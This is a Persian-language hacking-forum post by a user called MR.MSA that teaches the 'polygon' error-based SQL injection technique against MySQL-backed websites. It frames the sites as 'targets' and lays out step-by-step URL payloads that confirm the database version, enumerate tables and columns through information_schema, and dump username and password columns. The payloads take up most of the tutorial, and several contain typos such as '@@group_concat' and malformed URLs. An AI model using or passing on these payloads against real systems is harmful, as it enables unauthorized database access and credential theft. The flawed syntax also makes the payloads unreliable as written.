discord icon
سرور دیسکورد گاردایران

پست های پیشنهاد شده

با سلام خدمت کاربران و مدیران انجمن گارد ایران

من  MR.MSA

در این پست قصد دارم متد polygon رو به شما آموزش بدهم . 

------------------------------------

یکی از کاربرد های متد polygon زمانی است که :‌

در یک تارگت  order+by و ... را زدید و تعداد تیبل ها را بدست اوردید 

و بعد خواستید تیبل ها را بیرون بکشید و با خطای 

error different number of columns

مواجه شدید می توانید از  متد polygon استفاده کنید .

 

یکی دیگر از کاربرد های متد polygon زمانی است که :‌

با خطای Unknown column “language’ in ‘field list’ مواجه می شوید می توانید از  متد polygon استفاده کنید . 

 

------------------------------------

سطح متد : حرفه ای 

------------------------------------

 

روش استفاده از متد polygon :‌

ابتدا مقدار را پاک کنید : 

site.com/news.php?id=1

( نکته : در سایت های که مثلا دو مقدار است آن مقدار را پاک می کنید که اسیب پذیر است و بعد مراحل را پیش می روید . )

--------------

سپس این عبارت را قرار می دهید : 

http://site.com/news.php/id=polygon((select*from(select*from(select@@version)f)x))

و اگر ورژن را به شما نمایش داد یعنی می توانید از متد polygon استفاده کنید . 

یک جورایی میشه گفت جای که version است ستون آسیب پذیره. 

--------------

خب حالا می رویم سراغ بیرون کشیدن تیبل ها : 

site.com/news.php/id=polygon((select*from(select*from(select@@group_concat(table_name) from information_schema.tables where table_schema=database())f)x))

قسمت های بنفش قسمت هایی هستند که تازه اضافه شده اند .

توجه داشته باشید که به دلایلی دو (( آخر دستور در جاهای دیگر قرار گرفته اند اما در نگاه به این شکل است ولی زمانی که شما این دستور را کپی کنید و به url تارگت اضافه کنید درست نمایش داده می شود . ( در تمامی دستورات به همین شکل است ،‌ پس نگران نباشید 😁)

--------------

(برای مثال تیبل مهمی که بدست می آوریم user است )

و حالا برای  بیرون کشیدن ستون های یک جدول  : 

 

site.com/news.php/id=polygon((select*from(select*from(select@@group_concat(column_name)+from+information_schema.columns+where+table_name=’user’)f)x))

قسمت های بنفش قسمت های جدید هستند و باید به جای user نام تیبل مهم خود را بنویسید(در کتیشن )

اگر با مشکل مواجه شدید دو کتیشن را بردارید و نام تیبل خود را به صورت hex بنویسید . 

--------------

و می مونه بیرون کشیدن اطلاعات ستون های مهم :

site.com.news.php/id=polygon((select*from(select*from(select@@group_concat(user,0x3a,pass) from ‘user’)f)x))

باید به جای user نام تیبل مهم خود را بنویسید(در کتیشن ) و به جای user و pass نام ستون مهم خود را بنویسید . 

اگر با مشکل مواجه شدید دو کتیشن را بردارید و نام تیبل خود را به صورت hex بنویسید . 

  ------------------------------------

امید وارم از این پست لذت کافی رو برده باشید و پست رو به خوبی تمام کرده باشم و اینکه در متد polygon یک نکته های مونده که باید بگویم 

برای پیچیده نشدن پست نگفتم و حتما در پست بعدی توضیح می دهم .

هر گونه سوال در مورد پست داشتید در قسمت سوال و جواب بپرسید .

 

 

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

برای ارسال دیدگاه یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید دیدگاهی ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در سایت ما ثبت نام کنید. عضویت خیلی ساده است !

ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید

ورود به حساب کاربری